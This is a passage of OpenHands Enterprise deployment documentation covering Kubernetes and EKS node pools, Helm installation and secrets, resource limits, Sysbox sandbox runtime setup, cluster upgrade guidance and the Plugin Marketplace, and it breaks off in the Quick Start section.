**Sysbox pool**: Sandboxes need the Sysbox runtime, which requires an Ubuntu AMI, at least 4 vCPU - per node, and on-demand capacity. See [Installing Sysbox](/enterprise/k8s-install/sysbox). - -We recommend [Karpenter](https://karpenter.sh/) for autoscaling both pools (managed node groups also -work). Size the Sysbox pool by peak concurrent sessions, and configure it so a node is only removed -when empty, never while a session is running. - -Sandboxes are pinned to the Sysbox pool automatically by the `sysbox-runc` RuntimeClass. Keep the -OpenHands services and add-ons on the general pool with a node selector. - -### Sizing the Sandbox Nodes - -Per-sandbox CPU, memory, and ephemeral storage are set on the -[Resource Limits](/enterprise/k8s-install/resource-limits) page. Size your Sysbox nodes around the -values you choose there. With the defaults (**0.5 vCPU**, **3 GiB memory**, **10 GiB** ephemeral), -memory is usually the binding constraint, so `m`-family instances (4 GiB per vCPU) pack most -efficiently: - -| Instance | vCPU / memory | Sandboxes per node | Bound by | -|---|---|---|---| -| `c6i.2xlarge` | 8 / 16 GiB | ~4 | memory | -| `m6i.2xlarge` | 8 / 32 GiB | ~9 | memory | -| `r6i.2xlarge` | 8 / 64 GiB | ~14 | CPU | -| `m6i.4xlarge` | 16 / 64 GiB | ~19 | memory | - -Recompute these counts whenever you change the sandbox size. Also size for two more things: - -- **Root volume**: ephemeral scratch is the per-sandbox ephemeral request × sandboxes per node. At - the default 10 GiB, a full `m6i.4xlarge` needs ~190 GiB, so give Sysbox nodes a large root volume - (200 GiB or more), or prefer more, smaller nodes. -- **Warm capacity**: a new sandbox otherwise waits for a node to boot, which takes a few minutes. - Keeping a small pool of spare capacity (for example a low-priority placeholder Deployment sized to - one sandbox) lets sessions start instantly. Size it to your expected burst. - -## Object Storage - -OpenHands stores conversation and session state in a file store. For production, we recommend using S3: - -1. Create a bucket in the cluster's region. -2. Grant access with either an IAM user access key scoped to the bucket, or IRSA / EKS Pod Identity to - avoid a long-lived credential. -3. For the access-key approach, store the credentials in a secret: - -```bash -kubectl -n openhands create secret generic openhands-s3-credentials \ - --from-literal=AWS_ACCESS_KEY_ID= \ - --from-literal=AWS_SECRET_ACCESS_KEY= -``` - -Then point the file store at the bucket in your values: - -```yaml -filestore: - ephemeral: false - type: s3 - bucket: - region: - existingSecret: openhands-s3-credentials -``` - -## Database - -Use an external **Amazon RDS for PostgreSQL** instance rather than the bundled database. Place it in -the cluster's VPC, reachable from the nodes on port 5432. See -[External PostgreSQL](/enterprise/external-postgres) for the values. - -## Ingress - -Install an ingress controller on the general pool and expose it with an **AWS Network Load -Balancer**, provisioned directly from Service annotations (no AWS Load Balancer Controller required). -Both Traefik and NGINX are supported: - -- **Traefik (recommended)**: set `ingress.class: traefik` in your OpenHands values. Its default - `TLSStore` lets one wildcard certificate serve every host. -- **NGINX**: set `ingress.class: nginx` and use `nginx.ingress.kubernetes.io/*` annotations for - per-ingress tuning. - -Expose the controller's Service as an NLB in the controller's own chart values: - -```yaml -service: - type: LoadBalancer - annotations: - service.beta.kubernetes.io/aws-load-balancer-type: nlb - service.beta.kubernetes.io/aws-load-balancer-scheme: internet-facing -``` - -Then set up certificates and DNS records for the OpenHands hostnames, see -[DNS and TLS](/enterprise/k8s-install/dns-and-tls). - -## Next Steps - - - - Install the sandbox runtime on your Sysbox pool. - - - Automate records and certificates with external-dns and cert-manager. - - - Deploy OpenHands once the cluster is ready. - - - Size memory, CPU, and replicas for production. - - - -### Install with Helm -Source: https://docs.openhands.dev/enterprise/k8s-install/installation.md - -OpenHands Enterprise is distributed as a Helm chart through the Replicated registry. -Your license credentials authenticate the chart download, and the chart embeds your -license automatically at install time. - - - Helm-based installation requires an OpenHands Enterprise license. If you don't have - one yet, [register for a free 30-day trial](https://install.r9.all-hands.dev/openhands/signup) - or [contact our team](https://openhands.dev/contact) to get set up. - - -## Prerequisites - -- A Kubernetes cluster with a default storage class and an ingress controller - (see [Resource Limits](/enterprise/k8s-install/resource-limits) for sizing guidance) -- **Helm v4 or later** -- `kubectl` access to the target cluster -- Your **license ID** and the **email address** registered with your license - (both provided by our team) -- **LLM credentials** from your chosen provider, for example an Anthropic API key - from the [Anthropic Console](https://console.anthropic.com/) -- DNS records you control, following the layout used throughout this guide - (with `openhands.example.com` as the base domain): - `app.openhands.example.com` (application), `auth.openhands.example.com` - (login), `runtime-api.openhands.example.com`, and - `-runtime.openhands.example.com` for the per-session sandboxes. Every - hostname sits one label under the base domain, so a single **wildcard** - record `*.openhands.example.com` pointing at your cluster's ingress covers - all of them; see [DNS and TLS](/enterprise/k8s-install/dns-and-tls). -- A **wildcard TLS certificate** for `*.openhands.example.com`, which you provide. -- An **authentication method** for user login — GitLab, Bitbucket Data Center, - and more are supported; this guide uses a **GitHub App**. See - [Creating a GitHub App](/enterprise/quick-start#create-a-github-app). - -## Step 1: Log in to the registry - -Authenticate Helm against the Replicated registry using your license: - -```bash -helm registry login registry.replicated.com \ - --username \ - --password -``` - -## Step 2: Create the namespaces and secrets - -We recommend running agent sandboxes in a namespace separate from the -application. Sandboxes run agent-authored code, so a dedicated namespace keeps -them isolated from the application, database, and secrets. Create both -namespaces now: - -```bash -kubectl create namespace openhands -kubectl create namespace openhands-runtimes -``` - -The chart references several Kubernetes secrets that you create ahead of -installation, all in the `openhands` namespace: - -```bash -kubectl -n openhands create secret generic jwt-secret \ - --from-literal=jwt-secret= - -kubectl -n openhands create secret generic keycloak-admin \ - --from-literal=admin-password= - -kubectl -n openhands create secret generic keycloak-realm \ - --from-literal=realm-name=allhands \ - --from-literal=server-url=http://keycloak \ - --from-literal=client-id=allhands \ - --from-literal=client-secret= \ - --from-literal=smtp-password= - -kubectl -n openhands create secret generic postgres-password \ - --from-literal=username=postgres \ - --from-literal=password= \ - --from-literal=postgres-password= - -kubectl -n openhands create secret generic redis \ - --from-literal=redis-password= - -kubectl -n openhands create secret generic lite-llm-api-key \ - --from-literal=lite-llm-api-key= - -kubectl -n openhands create secret generic admin-password \ - --from-literal=admin-password= - -kubectl -n openhands create secret generic default-api-key \ - --from-literal=default-api-key= - -kubectl -n openhands create secret generic sandbox-api-key \ - --from-literal=sandbox-api-key= - -kubectl -n openhands create secret generic litellm-env-secrets \ - --from-literal=ANTHROPIC_API_KEY= -``` - -Then create the secret for user authentication. Other providers (GitLab, -Bitbucket Data Center, and more) are supported, but this guide uses GitHub -throughout. If you don't have a GitHub App yet, run our -[script](/enterprise/quick-start#create-a-github-app) — its output provides -every value below, and the private key file is written to its `keys` -directory: - -```bash -kubectl -n openhands create secret generic github-app \ - --from-literal=app-id= \ - --from-literal=app-slug= \ - --from-literal=client-id= \ - --from-literal=client-secret= \ - --from-literal=private-key="$(cat .pem)" \ - --from-literal=webhook-secret= -``` - - - Generate strong random values (for example with `openssl rand -hex 32`) for each - `` placeholder, and store them in your secret manager. To use an - existing PostgreSQL instance instead of the bundled one, see - [External PostgreSQL](/enterprise/external-postgres). - - -## Step 3: Configure values - -Create a `values.yaml` with your environment-specific configuration. The -minimum for a working installation covers five areas: application ingress and -TLS, user authentication, the runtime (sandbox) endpoints, conversation -storage, and your LLM provider. PostgreSQL and Redis run embedded in the -cluster; the bundled PostgreSQL needs a database name and database creation -turned on, both shown below (to use your own database instead, see -[External PostgreSQL](/enterprise/external-postgres)). - - - The embedded PostgreSQL is intended for proof-of-concept and evaluation use - only, not production. For production deployments we recommend bringing your - own managed PostgreSQL — see - [External PostgreSQL](/enterprise/external-postgres). There is no officially - supported migration path from the embedded PostgreSQL instance to an external - one, so plan to switch to an external database before you load production - data. - - -The example below uses Traefik, the chart's default ingress class; set -`ingress.class` and the annotations to match your controller. - -```yaml -ingress: - enabled: true - host: app.openhands.example.com - class: traefik - -# This guide brings its own certificate, terminated at the ingress controller, -# so the chart's per-ingress TLS is disabled (see the note below the example). -tls: - enabled: false - -# Enables login via the GitHub App created in Step 2 -github: - enabled: true - -# Bundled PostgreSQL: name the application database and let the chart create -# the databases it needs on first start -postgresql: - auth: - database: openhands -databaseMigrations: - createDatabases: true - -# Login is served by the bundled Keycloak — both the component and its -# ingress must be enabled for users to be able to log in -keycloak: - enabled: true - ingress: - enabled: true - hostname: auth.openhands.example.com - tls: false - -# Where agent sandboxes run. The runtime API needs its own hostname, and each -# sandbox gets its own hostname under your wildcard DNS record. -sandbox: - apiHostname: https://runtime-api.openhands.example.com - -env: - RUNTIME_URL_PATTERN: "https://{runtime_id}-runtime.openhands.example.com" - LITELLM_DEFAULT_MODEL: litellm_proxy/claude-sonnet-4-5 - -runtime-api: - # Create sandboxes in the dedicated namespace from Step 2, isolated from the - # application workloads. - sandbox_namespace: openhands-runtimes - ingress: - enabled: true - host: runtime-api.openhands.example.com - tls: false - databaseMigrations: - createDatabases: true - env: - # Sandbox hostnames are built as {runtime_id}; - # together these must match RUNTIME_URL_PATTERN above. RUNTIME_DISABLE_SSL - # defaults to "true"; it must be "false" so sandbox URLs are served over https. - RUNTIME_BASE_URL: runtime.openhands.example.com - RUNTIME_URL_SEPARATOR: "-" - RUNTIME_DISABLE_SSL: "false" - # Storage class for sandbox volumes. The chart default (standard-rwo) only - # exists on GKE — set a storage class from `kubectl get storageclass` or - # sandboxes will never start. - STORAGE_CLASS: - -# Store conversation data in the bundled MinIO, persisted to a volume -filestore: - ephemeral: true -minio: - persistence: - enabled: true - -litellm-helm: - enabled: true - proxy_config: - model_list: - - model_name: claude-sonnet-4-5 - litellm_params: - model: anthropic/claude-sonnet-4-5 - api_key: os.environ/ANTHROPIC_API_KEY -``` - -## Step 4: Install - -```bash -helm install openhands oci://registry.replicated.com/openhands/openhands \ - --namespace openhands \ - --values values.yaml -``` - -Watch the workloads come up: - -```bash -kubectl get pods -n openhands --watch -``` - -The first install pulls all container images, which can take a while. Along with the -application components you'll see a `replicated` pod — the Replicated SDK, which -handles license verification and powers the support tooling below. - -## Step 5: Validate the installation - -The chart ships preflight checks that validate your cluster against the -application's requirements. Run them with the -[`preflight` CLI](https://troubleshoot.sh/docs/preflight/introduction/): - -```bash -preflight secret/openhands/openhands-preflight -``` - - - The `preflight` and `support-bundle` CLIs are both part of - [Troubleshoot](https://troubleshoot.sh/docs/#installation). Install them with: - - ```bash - curl -L https://krew.sh/preflight | bash - curl -L https://krew.sh/support-bundle | bash - ``` - - -Then confirm the application is reachable at your configured hostname and log in. - -## Next Steps - -The install above is a minimal working baseline. Features and tuning are values -overrides on the same release — edit your `values.yaml` and apply with -`helm upgrade` using the chart URL from Step 4: - - - - Size memory, CPU, and replicas for production workloads. - - - Use your own PostgreSQL instead of the embedded instance. - - - Enable conversation analytics with Laminar. - - - Offer curated plugins to your users. - - - -## Troubleshooting - -For a guided diagnostic workflow and a map of OHE components, see -[Troubleshooting](/enterprise/troubleshooting). - -### Generate a support bundle - -If something isn't working, generate a support bundle with the -[`support-bundle` CLI](https://troubleshoot.sh/docs/support-bundle/introduction/). -It discovers the diagnostic specs that ship with the chart and collects logs, -resource states, and health checks from the installation: - -```bash -kubectl support-bundle --load-cluster-specs --namespace openhands -``` - -### Send it to us - -Upload the resulting archive directly to our support team — the upload -authenticates with the license embedded in the bundle: - -```bash -kubectl support-bundle upload support-bundle-.tar.gz -``` - -### Common issues - -| Symptom | Likely cause | -|---------|--------------| -| `helm install` fails with a template error mentioning `replicated` | Helm version too old — upgrade to v4+ | -| `helm registry login` or chart pull returns 401/403 | License credentials incorrect, or the license isn't enabled for Helm installs — contact support | -| Preflight warns about node memory | Cluster nodes below the recommended sizing — see [Resource Limits](/enterprise/k8s-install/resource-limits) | - -### Resource Limits -Source: https://docs.openhands.dev/enterprise/k8s-install/resource-limits.md - -This guide explains how to configure resource limits for OpenHands Enterprise -components. Proper resource configuration ensures stable operation and prevents -issues like OOMKills and pod evictions. - -## Values File Structure - -All configuration examples in this guide show keys that belong in your `site-values.yaml` -file. The examples show the complete path from the root of the file. - - - Create a `site-values.yaml` file to store your custom configuration. Pass it to Helm - with `-f site-values.yaml` when installing or upgrading. - - -## Understanding Kubernetes Resources - -Kubernetes uses two key resource settings: - -- **Requests**: The minimum resources guaranteed to a pod. The scheduler uses this - to place pods on nodes with sufficient capacity. -- **Limits**: The maximum resources a pod can use. Exceeding memory limits causes - an OOMKill; exceeding CPU limits causes throttling. - - - If a pod uses significantly more memory than its request (but below its limit), - it becomes a candidate for eviction during node pressure. Set requests close to - actual usage for production workloads. - - -## Application Server Resources - -The OpenHands application server (deployment name: `openhands`) handles the UI, API, -and agent orchestration. Configure its resources under the `deployment` section in -your values file. - -### Default Configuration - -```yaml -# site-values.yaml - -# ============================================================================ -# Application Server (OpenHands deployment) -# ============================================================================ -# Root-level key: deployment -# Controls the main OpenHands server pod resources -# ============================================================================ -deployment: - replicas: 1 - resources: - requests: - memory: 1200Mi - cpu: 100m - limits: - memory: 3Gi -``` - -### Recommended Production Configuration - -For production workloads, increase memory and add replicas for redundancy: - -```yaml -# site-values.yaml - -deployment: # Root-level key - replicas: 2 - resources: - requests: - memory: 2560Mi # 2.5Gi - aligns with typical usage - cpu: 100m - limits: - memory: 4Gi # Buffer against OOMKill -``` - -### When to Adjust - -Increase resources if you observe: - -| Symptom | Metric to Check | Action | -|---------|----------------|--------| -| Pod restarts | `RESTARTS` column in `kubectl get pods` | Increase `limits.memory` | -| High memory usage | `kubectl top pods` shows >80% of limit | Increase `limits.memory` | -| Evictions during node pressure | Pod events show eviction | Increase `requests.memory` to match actual usage | -| Slow response times | Application latency metrics | Add replicas or increase CPU | - -### Horizontal Pod Autoscaling - -For automatic scaling based on load, enable the HorizontalPodAutoscaler: - -```yaml -# site-values.yaml - -deployment: # Root-level key - replicas: 2 # Minimum baseline - resources: - requests: - memory: 2560Mi - cpu: 200m # Increase for HPA to use as scaling signal - limits: - memory: 4Gi - -autoscaling: # Root-level key (separate from deployment) - enabled: true - minReplicas: 2 - maxReplicas: 5 - targetCPUUtilizationPercentage: 80 - targetMemoryUtilizationPercentage: 80 -``` - -## Sandbox Resources - -Sandboxes (also called runtimes) are the isolated containers where agents execute code. -Each conversation runs in its own sandbox pod. Configure these via environment variables -in the `runtime-api.env` section. - -### Available Settings - -| Variable | Default | Description | -|----------|---------|-------------| -| `MEMORY_REQUEST` | `3072Mi` | Minimum memory guaranteed per sandbox | -| `MEMORY_LIMIT` | `3072Mi` | Maximum memory per sandbox | -| `CPU_REQUEST` | `500m` | Minimum CPU guaranteed (500m = 0.5 cores) | -| `CPU_LIMIT` | (none) | Maximum CPU per sandbox | -| `EPHEMERAL_STORAGE_SIZE` | `10Gi` | Temporary storage per sandbox | - -### Default Configuration - -```yaml -# site-values.yaml - -# ============================================================================ -# Runtime API (Sandbox Manager) -# ============================================================================ -# Root-level key: runtime-api -# This is a subchart that manages sandbox pod lifecycle. -# The env section passes environment variables to the runtime-api container, -# which uses them when creating sandbox pods. -# ============================================================================ -runtime-api: - env: - MEMORY_REQUEST: "3072Mi" - MEMORY_LIMIT: "3072Mi" - CPU_REQUEST: "500m" - EPHEMERAL_STORAGE_SIZE: "10Gi" -``` - -### High-Resource Configuration - -For workloads that require more resources (large codebases, memory-intensive builds): - -```yaml -# site-values.yaml - -runtime-api: # Root-level key (subchart configuration) - env: - MEMORY_REQUEST: "8192Mi" - MEMORY_LIMIT: "8192Mi" - CPU_REQUEST: "2000m" - CPU_LIMIT: "4000m" - EPHEMERAL_STORAGE_SIZE: "50Gi" -``` - -### Resource Format - -- **Memory**: Use `Mi` suffix (mebibytes). Examples: `1024Mi`, `4096Mi`, `8192Mi` -- **CPU**: Use millicores. `1000m` = 1 CPU core. Examples: `500m`, `2000m`, `4000m` -- **Storage**: Use `Gi` suffix (gibibytes). Examples: `10Gi`, `50Gi`, `100Gi` - - - Changes to sandbox resources only affect **new sandboxes**. Existing running - sandboxes keep their original limits until stopped and restarted. - - -## Applying Changes - -### 1. Update your values file - -Edit `site-values.yaml` with your desired configuration: - -```yaml -# site-values.yaml -# -# This file contains your custom overrides for the OpenHands Helm chart. -# All keys shown here are root-level keys in the values hierarchy. - -# ============================================================================ -# Application Server Resources -# ============================================================================ -deployment: - replicas: 2 - resources: - requests: - memory: 2560Mi - cpu: 100m - limits: - memory: 4Gi - -# ============================================================================ -# Sandbox Resources (via Runtime API subchart) -# ============================================================================ -runtime-api: - env: - MEMORY_REQUEST: "8192Mi" - MEMORY_LIMIT: "8192Mi" - CPU_REQUEST: "2000m" - CPU_LIMIT: "4000m" - EPHEMERAL_STORAGE_SIZE: "50Gi" -``` - -### 2. Apply with Helm upgrade - -```bash -helm upgrade openhands \ - oci://ghcr.io/all-hands-ai/helm-charts/openhands \ - -f site-values.yaml \ - -n openhands -``` - -## Verifying Changes - -### Check application server resources - -```bash -kubectl get deployment openhands -n openhands \ - -o jsonpath='{.spec.template.spec.containers[0].resources}' | jq -``` - -### Check replica count - -```bash -kubectl get deployment openhands -n openhands \ - -o jsonpath='{.spec.replicas}' -``` - -### Check runtime-api environment variables - -Verify the sandbox resource settings are configured in the runtime-api deployment: - -```bash -kubectl get deployment runtime-api -n openhands \ - -o jsonpath='{.spec.template.spec.containers[0].env}' | \ - jq '.[] | select(.name | test("MEMORY|CPU|STORAGE"))' -``` - -## Monitoring Resource Usage - -### Current resource consumption - -```bash -kubectl top pods -n openhands -``` - -### Resource usage over time - -For production deployments, we recommend integrating with a monitoring solution -(Prometheus/Grafana, Datadog, etc.) to track: - -- Memory usage vs. limits (to predict OOMKills) -- Memory usage vs. requests (to predict evictions) -- CPU throttling events -- Pod restart counts - -## Next Steps - - - - Translate peak concurrent sandboxes into node pools, storage, and database size. - - - Return to the Kubernetes installation overview. - - - Learn more about OpenHands Enterprise features. - - - -### Installing Sysbox -Source: https://docs.openhands.dev/enterprise/k8s-install/sysbox.md - -OpenHands runs each agent session in a sandbox that uses [Sysbox](https://github.com/nestybox/sysbox) -for isolation. This guide covers installing Sysbox. - -## Node Requirements - -Sysbox nodes must: - -- Run a Sysbox-supported Linux distribution. **Ubuntu** is the most common and best-supported choice. -- Have at least **4 vCPU** and 4 GiB of memory. -- Use containerd (the default on most managed distributions). -- Run a Kubernetes version [supported by Sysbox](https://github.com/nestybox/sysbox/blob/master/docs/user-guide/install-k8s.md). - -Run sandboxes on a **dedicated node pool** so these requirements (and the Sysbox install below) -apply only to sandbox nodes, not the whole cluster. - - - On **Amazon EKS**, use Canonical's EKS-optimized Ubuntu AMI for the sandbox node pool. The default - Amazon Linux AMI isn't supported. See [Amazon EKS](/enterprise/k8s-install/eks#node-pools) for the - full node-pool setup. - - -## Install Sysbox - -Sysbox installs per node via the `sysbox-deploy-k8s` DaemonSet. It targets nodes labeled -`sysbox-install=yes`, installs the runtime, and registers a `sysbox-runc` RuntimeClass. - - - - ```bash - kubectl label nodes sysbox-install=yes - ``` - - If your nodes autoscale, set this label on the group so every node it launches is labeled - automatically. - - - ```bash - kubectl apply -f https://raw.githubusercontent.com/nestybox/sysbox/master/sysbox-k8s-manifests/sysbox-install.yaml - ``` - - - ```bash - kubectl get runtimeclass sysbox-runc - ``` - - - -The `sysbox-runc` RuntimeClass pins any pod that uses it to Sysbox nodes, so sandboxes only schedule -where the runtime is installed. - -## Point OpenHands at Sysbox - -Tell the runtime API to launch sandboxes with the Sysbox runtime class, and enable native user -namespaces: - -```yaml -runtime-api: - env: - RUNTIME_CLASS: sysbox-runc - SET_HOST_USERS: "true" -``` - -## Verify - -Start a conversation in OpenHands, then confirm the sandbox pod landed on a Sysbox node with the -runtime class applied: - -```bash -kubectl get pod -n openhands \ - -o jsonpath='{.spec.runtimeClassName}{"\n"}' -``` - -The output should be `sysbox-runc`. - -## Next Steps - - - - Set up records and certificates for the OpenHands hostnames. - - - Deploy OpenHands once the cluster is ready. - - - -### Upgrade Guidance -Source: https://docs.openhands.dev/enterprise/k8s-install/upgrade-guidance.md - -A few OpenHands-specific properties may make a cluster upgrade more high-touch than usual. Sandboxes run on a [Sysbox](/enterprise/k8s-install/sysbox) node pool. The pods in this node pool carry a zero-tolerance [pod disruption budget](https://kubernetes.io/docs/tasks/run-application/configure-pdb/) which means that typical upgrade operations will hang indefinitely while those pods refuse eviction. - -This page collects general guidance that applies on any managed Kubernetes offering (GKE, EKS, AKS) or on self-managed clusters. See the information below in an advisory capacity, rather than a runbook. - -Upgrade in this order: control plane first, then your ordinary node pools, then the Sysbox pool. Never let nodes run ahead of the control plane. Only the sysbox node pool may need special handling - -## Control Plane - -A plain upgrade is fine. Follow the usual pre-upgrade best practices for your platform, such as: - -- **Review removed and deprecated APIs** for the target version and confirm nothing you deploy still uses them. Most managed platforms surface this for you — GKE deprecation insights, `kubectl get --raw /metrics | grep apiserver_requested_deprecated_apis`, or a tool like [Pluto](https://github.com/FairwindsOps/pluto) against your manifests. -- **Move one minor version at a time** and check the version skew policy of your provider before you start. -- **Expect the upgrade to be one-way.** No managed platform lets you roll a control plane back, so verify on a non-production cluster first if you have one. - -OpenHands itself is unaffected by a control-plane upgrade. Sandboxes keep running throughout. - -## Non-Sandbox Node Pools - -Also a plain upgrade. A standard surge upgrade is appropriate here — the platform brings up new nodes, drains the old ones, and your workloads reschedule. - -Expect roughly the same behavior you would see when upgrading OpenHands itself: server and supporting pods restart, in-flight requests may blip, and the UI briefly reconnects. If your OpenHands deployment runs a single replica, that blip is a short outage. Scale up beforehand if you need to avoid it — see [Resource Limits](/enterprise/k8s-install/resource-limits) for replica and autoscaling settings. - -Running sandboxes are not affected, since they live on the Sysbox pool. - -## Sysbox Node Pool - -This is the pool that needs a decision. Sandbox pods refuse eviction while they are alive, so a plain drain will not complete — the upgrade hangs rather than fails, often with no obvious signal beyond a node stuck in `SchedulingDisabled`. - -Pick a branch based on whether you can tolerate interrupting active conversations. - - - - Simpler and needs no extra capacity, but it ends active conversations. - - 1. **Cordon the Sysbox nodes** so no new sandboxes land on them, and lower the pool's autoscaler ceiling if it has one. - 2. **Drain the remaining sandboxes.** Either wait for active conversations to finish, or end them. The upgrade will not proceed while sandbox pods are still alive, so getting to zero is the gating step — not an optimization. - 3. **Confirm the pool is empty** before starting: - - ```bash - kubectl get pods -n openhands -o wide --field-selector spec.nodeName= - ``` - - 4. **Run a plain upgrade** on the pool once no sandbox pods remain. - - Communicate the window to your users. From their side, an ended sandbox looks like a conversation that stopped working. - - - Stand up a second Sysbox pool at the target version and let the old one drain by attrition. No running sandbox is ever evicted, so the disruption budget never comes into play. - - 1. **Create a new Sysbox pool** at the target version, alongside the existing one. Install Sysbox on it as usual — see [Installing Sysbox](/enterprise/k8s-install/sysbox). - 2. **Verify the new pool functionally, not just that nodes report `Ready`.** A node can be `Ready` with Sysbox not installed correctly. Confirm the RuntimeClass is registered and land one real sandbox on the new pool before steering anything to it: - - ```bash - kubectl get runtimeclass sysbox-runc - kubectl get pods -n openhands -o wide | grep - ``` - - 3. **Cordon the old pool and lower its autoscaler ceiling.** New sandboxes then schedule onto the new pool while existing ones keep running where they are. - 4. **Wait for the old pool to empty** as conversations finish and their sandboxes terminate. How long that takes is a function of your conversation lifetimes, not the upgrade. - 5. **Delete the old pool** once no sandbox pods remain on it. - - - This approach needs enough capacity for both pools at once, at least briefly. On a large pool that can mean a meaningful number of extra instances — reserve the capacity ahead of the window if your cloud supports reservations, since instance stockouts are a more common cause of a stalled cutover than anything Kubernetes does. - - - - -### Pod Disruption Budgets - -The sandbox disruption budget only interferes when active sandboxes are in play. Once no sandbox pods are running, it is inert and the pool upgrades like any other. That is why both branches above converge on the same thing: get the pool to zero sandboxes, by attrition or by ending them, and the rest is ordinary. - -If an upgrade appears to hang, check what is still holding the budget: - -```bash -kubectl get pdb -A -kubectl get pods -n openhands -o wide -``` - -## Upgrading OpenHands Itself - -Cluster upgrades are independent of OpenHands releases. To upgrade the OpenHands Enterprise chart, see [Install with Helm](/enterprise/k8s-install/installation) and the [Release Notes](/enterprise/release-notes). - -Avoid changing both at once: upgrade the cluster, verify sandboxes still launch, and only then move the application version. - -## Additional Info - - - Requirements and installation for the sandbox node pool runtime. - - - - Size the application and sandbox workloads before planning capacity. - - -### Plugin Marketplace -Source: https://docs.openhands.dev/enterprise/plugin-marketplace.md - -
-
-The Plugin Marketplace is an opt-in feature that adds a browseable catalog of community-built -OpenHands plugins to your Enterprise deployment. Once enabled, users can discover and review -plugins directly at `/plugins` on your application hostname. - - - The Plugin Marketplace is an experimental feature. Enable it only after your - OpenHands Enterprise deployment is fully operational. - -
-
- Plugin Marketplace demo -
-
- -## Prerequisites - -- A running OpenHands Enterprise deployment. See [Quick Start](/enterprise/quick-start) if - you haven't already deployed. -- The bundled or [external PostgreSQL](/enterprise/external-postgres) database must be reachable. - The marketplace creates a separate `plugindir` database to store plugin metadata. -- A Marketplace Source URI pointing to a plugin catalog (see [Marketplace Source URI](#marketplace-source-uri)). - -## Enable the Plugin Marketplace - - - - The Plugin Marketplace is configured through the Replicated Admin Console. - - ### 1. Open the Admin Console - - Navigate to `https://admin.:30000` and log in. - - ### 2. Open the configuration page - - Click **Config** in the top navigation bar to open the application configuration page. - - ### 3. Enable the Plugin Directory - - Scroll to the **Experimental** section near the bottom of the configuration page. - - Check the **Enable Plugin Directory** box. - - ![Enable Plugin Directory](/enterprise/images/Experimental-PluginMarketplace.png) - - ### 4. Set the Marketplace Source - - Once **Enable Plugin Directory** is checked, a **Marketplace Source** field appears. - - Enter the URI of the plugin catalog you want to load. For example: - - ```text - github://AcmeCo/plugin-directory - ``` - - To pin to a specific release of the catalog, append a `@ref` tag: - - ```text - github://AcmeCo/plugin-directory@v1.0.0 - ``` - - See [Marketplace Source URI](#marketplace-source-uri) for a full description of supported formats. - - ### 5. Save and deploy - - Scroll to the bottom of the configuration page and click **Save config**, then click **Deploy** - to apply the changes. - - The deployment status will show **Unavailable** while the Plugin Directory pods start, then - transition to **Ready** once all components are healthy. - - - - If you deployed OpenHands Enterprise into your own Kubernetes cluster using Helm, enable the - Plugin Marketplace by adding the following values to your `values.yaml` override file. - - ### Required values - - ```yaml - plugin-directory: - enabled: true - - # Full URL where the plugin catalog is served - appUrl: "https://app./plugins" - - # Base URL used in in-page curl examples - curlApiUrl: "https://app." - - appEnv: - # URI of the plugin catalog to load (required) - MARKETPLACE_SOURCE: "github://AcmeCo/plugin-directory" - - database: - host: "" - name: "plugindir" - # Name of the Kubernetes Secret that contains the PostgreSQL password - secretName: "postgres-password" - secretKey: "password" - - auth: - # Secret created by the openhands-secrets chart - existingSecret: plugin-directory-secrets - - oidc: - # Keycloak issuer URL — must match your Keycloak realm - issuerUrl: "https://auth." - realmSecretName: "keycloak-realm" - ``` - - ### Required secrets - - The Plugin Directory needs two shared secrets for inter-service authentication and session - management. Add these to your `openhands-secrets` chart values: - - ```yaml - plugin_directory_identity_shared_secret: "" - plugin_directory_session_secret: "" - ``` - - Generate each value with: - - ```bash - openssl rand -hex 16 - ``` - - ### Apply the changes - - ```bash - helm upgrade openhands oci://registry.replicated.com/openhands/openhands \ - --namespace openhands \ - --values values.yaml - ``` - - ### Database migration - - On first deployment, init containers automatically create the `plugindir` database and run - Alembic migrations. No manual database setup is required. - - - If you use an external PostgreSQL instance with `databaseMigrations.createDatabases: false`, - create the `plugindir` database manually before deploying. - - - - -## Marketplace Source URI - -The `MARKETPLACE_SOURCE` value (or **Marketplace Source** field in the Admin Console) tells the -Plugin Directory server where to load its plugin catalog from. - -| Format | Example | Notes | -|--------|---------|-------| -| `github://owner/repo` | `github://AcmeCo/plugin-directory` | Loads from the default branch of the repository | -| `github://owner/repo@ref` | `github://AcmeCo/plugin-directory@v1.2.0` | Loads from a specific branch, tag, or commit SHA | -| `https://example.com/catalog.json` | `https://cdn.example.com/plugins/catalog.json` | Loads a catalog JSON file over HTTPS | - - -To host a private or curated catalog, point the URI to a GitHub repository or an HTTPS URL that -serves a compatible catalog JSON file. - -## Accessing the Marketplace - -Once the deployment is complete and shows **Ready**, the Plugin Marketplace is available at: - -```text -https://app./plugins -``` - -Users authenticate through the same Keycloak SSO used for the rest of OpenHands Enterprise. -The Plugin Directory API is also available at: - -```text -https://app./api/plugins -``` - -## Disabling the Plugin Marketplace - - - - Open the Admin Console, navigate to **Config**, uncheck **Enable Plugin Directory** in the - **Experimental** section, click **Save config**, then **Deploy**. - - - Set `plugin-directory.enabled: false` in your `values.yaml` and run `helm upgrade`. - - - -## Next Steps - - - - Install or review the full OpenHands Enterprise deployment guide. - - - Configure an external PostgreSQL database for OpenHands Enterprise. - - - Deploy OpenHands Enterprise into your own Kubernetes cluster using Helm. - - - Learn about all OpenHands Enterprise features and deployment options. - - - -### Quick Start -Source: https://docs.openhands.dev/enterprise/quick-start.md - -This guide walks you through trialing OpenHands Enterprise on your own infrastructure. -You'll provision infrastructure (AWS Terraform or a manual VM setup), configure -GitHub for user authentication, and configure your LLM provider. - -## Who This Is For - -This guide is **not** for single-user local laptop installs. It is for a **30-day trial of OpenHands Enterprise** on a -**dedicated VM/server** on your own infrastructure. The deployment requires DNS records, network, and compute setup before installation. - -If you want to use OpenHands immediately without infrastructure setup: - -- Use OpenHands Cloud (SaaS) -- Run OpenHands open-source locally using Docker, CLI or SDK - -### Accounts and Credentials - -Before you begin, make sure you have the following ready: - - - Sign up for a free 30-day OpenHands Enterprise trial account. You'll need this to access the installer dashboard. - - -- **LLM credentials** from your chosen provider, for example an Anthropic API - key from the [Anthropic Console](https://console.anthropic.com/) -- **A GitHub account** with permission to create GitHub Apps -- **An AWS account** with permissions to create EC2, VPC, and Route53 resources (**if using the AWS with Terraform path**) - -## Provision Infrastructure - -You will need a VM to host OpenHands Enterprise. Choose one of the options below to provision your infrastructure. - - - The requirements below are the trial baseline, which comfortably supports about 15 concurrent sandboxes. For a larger rollout, pick your VM from the [Sizing Guide](/enterprise/sizing-guide) before provisioning. - - - - - We provide a [Terraform module](https://github.com/All-Hands-AI/OpenHands-Cloud/tree/main/terraform/aws) that provisions a properly 